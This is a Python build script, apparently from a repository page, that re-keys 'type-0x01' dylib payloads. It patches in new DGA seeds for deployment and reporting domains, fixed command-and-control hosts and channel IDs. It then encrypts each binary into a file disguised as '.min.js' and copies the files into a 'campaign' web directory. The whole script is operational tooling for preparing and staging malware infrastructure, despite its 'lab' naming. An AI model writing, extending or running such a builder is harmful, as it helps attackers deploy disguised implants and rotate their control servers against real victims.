hashbro
8b079d37e4
Keep/restore https://%@ in type0x01/core and rewrite daily module URLs to https, and move campaign assets from source/web/<hash>/ up to source/web/ so templates match the channel artifact layout. Co-authored-by: Cursor <cursoragent@cursor.com>
229 lines
7.4 KiB
Python
229 lines
7.4 KiB
Python
#!/usr/bin/env python3
|
||
"""Patch DGA seeds / fixed domains / channel id in type-0x01 and rebuild .min.js."""
|
||
|
||
from __future__ import annotations
|
||
|
||
import argparse
|
||
import json
|
||
import shutil
|
||
from pathlib import Path
|
||
|
||
from _channel_patch import patch_channel_in_dylib, validate_channel_id
|
||
from _common import (
|
||
GROUP_DYLIBS,
|
||
LAB_ROOT,
|
||
ORIGINAL_CHANNEL_ID,
|
||
SECONDARY_KEYS,
|
||
SOURCE_ROOT,
|
||
ensure_tree_layout,
|
||
patch_seeds_in_dylib,
|
||
set_tree_root,
|
||
sha256_hex,
|
||
tree_root,
|
||
validate_seed_arg,
|
||
)
|
||
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
|
||
from _scheme_patch import ensure_deployment_scheme_https
|
||
from _path_patch import patch_initial_daily_path
|
||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||
import _common
|
||
|
||
|
||
def main() -> int:
|
||
parser = argparse.ArgumentParser(
|
||
description=(
|
||
"Replace Deployment/Reporting seeds (and optional fixed domains / channel id) "
|
||
"in type-0x01 helpers, then re-encrypt all 10 secondary .min.js."
|
||
)
|
||
)
|
||
parser.add_argument(
|
||
"--deployment-seed",
|
||
required=True,
|
||
help="new Deployment DGA seed (<=32 ASCII; recommend 32 hex chars)",
|
||
)
|
||
parser.add_argument(
|
||
"--reporting-seed",
|
||
required=True,
|
||
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
|
||
)
|
||
parser.add_argument(
|
||
"--channel-id",
|
||
help=(
|
||
f"new 32-hex channel id written into type-0x01 "
|
||
f"(default: keep {ORIGINAL_CHANNEL_ID})"
|
||
),
|
||
)
|
||
parser.add_argument(
|
||
"--root",
|
||
type=Path,
|
||
help="channel root containing web/ + sync/ (required with --apply)",
|
||
)
|
||
parser.add_argument(
|
||
"--out",
|
||
type=Path,
|
||
help="output directory for rebuilt .min.js (default: <root>/out/secondary or lab out/)",
|
||
)
|
||
parser.add_argument(
|
||
"--apply",
|
||
action="store_true",
|
||
help="also copy outputs into <root>/web/",
|
||
)
|
||
parser.add_argument(
|
||
"--deployment-domains",
|
||
action="append",
|
||
default=[],
|
||
help="fixed Deployment hosts (comma-separated or repeatable); skips DGA",
|
||
)
|
||
parser.add_argument(
|
||
"--reporting-domains",
|
||
action="append",
|
||
default=[],
|
||
help="fixed Reporting hosts (comma-separated or repeatable); skips DGA",
|
||
)
|
||
args = parser.parse_args()
|
||
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
|
||
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
|
||
channel = (
|
||
validate_channel_id(args.channel_id)
|
||
if args.channel_id
|
||
else ORIGINAL_CHANNEL_ID
|
||
)
|
||
fixed_dep = (
|
||
parse_domain_list(args.deployment_domains, label="deployment")
|
||
if args.deployment_domains
|
||
else None
|
||
)
|
||
fixed_rep = (
|
||
parse_domain_list(args.reporting_domains, label="reporting")
|
||
if args.reporting_domains
|
||
else None
|
||
)
|
||
if bool(fixed_dep) != bool(fixed_rep):
|
||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||
|
||
if args.root:
|
||
set_tree_root(args.root, channel=channel)
|
||
ensure_tree_layout(tree_root(), channel=channel)
|
||
else:
|
||
_common.set_campaign_id(channel)
|
||
|
||
if args.apply:
|
||
if not args.root:
|
||
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
|
||
if tree_root().resolve() == SOURCE_ROOT.resolve():
|
||
raise SystemExit("refusing --apply into source/; create a project first")
|
||
|
||
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
|
||
|
||
campaign_dir = _common.CAMPAIGN_DIR
|
||
meta = json.loads(SECONDARY_KEYS.read_text())
|
||
stems = meta["stems"]
|
||
|
||
patched: dict[str, bytes] = {}
|
||
path_patch_meta: dict[str, dict[str, str | int]] = {}
|
||
for group, path in GROUP_DYLIBS.items():
|
||
if not path.is_file():
|
||
raise SystemExit(f"missing source dylib: {path}")
|
||
data = patch_seeds_in_dylib(
|
||
path.read_bytes(),
|
||
dep,
|
||
rep,
|
||
expect_dep=1,
|
||
expect_rep=1,
|
||
label=path.name,
|
||
)
|
||
if fixed_dep is not None and fixed_rep is not None:
|
||
data = patch_fixed_domains_in_dylib(
|
||
data,
|
||
fixed_dep,
|
||
fixed_rep,
|
||
deployment_seed=dep,
|
||
reporting_seed=rep,
|
||
label=path.name,
|
||
)
|
||
# Thin type0x01: keep/restore 1× https://%@ (undo legacy http lab patch).
|
||
data = ensure_deployment_scheme_https(
|
||
data, expect_hits=1, label=path.name
|
||
)
|
||
if channel != ORIGINAL_CHANNEL_ID:
|
||
data = patch_channel_in_dylib(
|
||
data,
|
||
channel,
|
||
old_channel=ORIGINAL_CHANNEL_ID,
|
||
expect_hits=1,
|
||
label=path.name,
|
||
)
|
||
data, path_patch_meta[group] = patch_initial_daily_path(
|
||
data,
|
||
channel,
|
||
label=path.name,
|
||
)
|
||
patched[group] = data
|
||
print(
|
||
f"group {group}: patched {path.name} "
|
||
f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}"
|
||
)
|
||
|
||
out.mkdir(parents=True, exist_ok=True)
|
||
(out / "dylibs").mkdir(exist_ok=True)
|
||
for group, data in patched.items():
|
||
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
|
||
|
||
built = []
|
||
for stem, info in stems.items():
|
||
group = info["group"]
|
||
key = bytes.fromhex(info["key"])
|
||
wire = encrypt_secondary_minjs(patched[group], key)
|
||
check = decrypt_secondary_minjs(wire, key)
|
||
if check != patched[group]:
|
||
raise SystemExit(f"round-trip failed for {stem}")
|
||
dest = out / f"{stem}.min.js"
|
||
dest.write_bytes(wire)
|
||
built.append(
|
||
{
|
||
"stem": stem,
|
||
"group": group,
|
||
"size": len(wire),
|
||
"sha256": sha256_hex(wire),
|
||
}
|
||
)
|
||
print(f" wrote {dest.name} ({len(wire)} bytes)")
|
||
|
||
manifest = {
|
||
"deployment_seed": dep,
|
||
"reporting_seed": rep,
|
||
"channel_id": channel,
|
||
"mode": "fixed_domains" if fixed_dep is not None else "dga",
|
||
"deployment_domains": fixed_dep,
|
||
"reporting_domains": fixed_rep,
|
||
"files": built,
|
||
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
||
"initial_daily_path_patch": {
|
||
"path": f"/channel/{channel}/sync/daily.html",
|
||
"groups": path_patch_meta,
|
||
},
|
||
}
|
||
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
||
|
||
if args.apply:
|
||
campaign_dir.mkdir(parents=True, exist_ok=True)
|
||
for item in built:
|
||
src = out / f"{item['stem']}.min.js"
|
||
dst = campaign_dir / src.name
|
||
shutil.copy2(src, dst)
|
||
print(f"applied -> {dst}")
|
||
# Template may ship prefixed aliases like 34058858_<stem>.min.js
|
||
for alias in campaign_dir.glob(f"*_{item['stem']}.min.js"):
|
||
shutil.copy2(src, alias)
|
||
print(f"applied alias -> {alias}")
|
||
|
||
print(f"\nDone. Output: {out}")
|
||
print(f"channel: {channel}")
|
||
if not args.apply:
|
||
print("Re-run with --apply --root <channel-root> to overwrite files under web/")
|
||
return 0
|
||
|
||
|
||
if __name__ == "__main__":
|
||
raise SystemExit(main())
|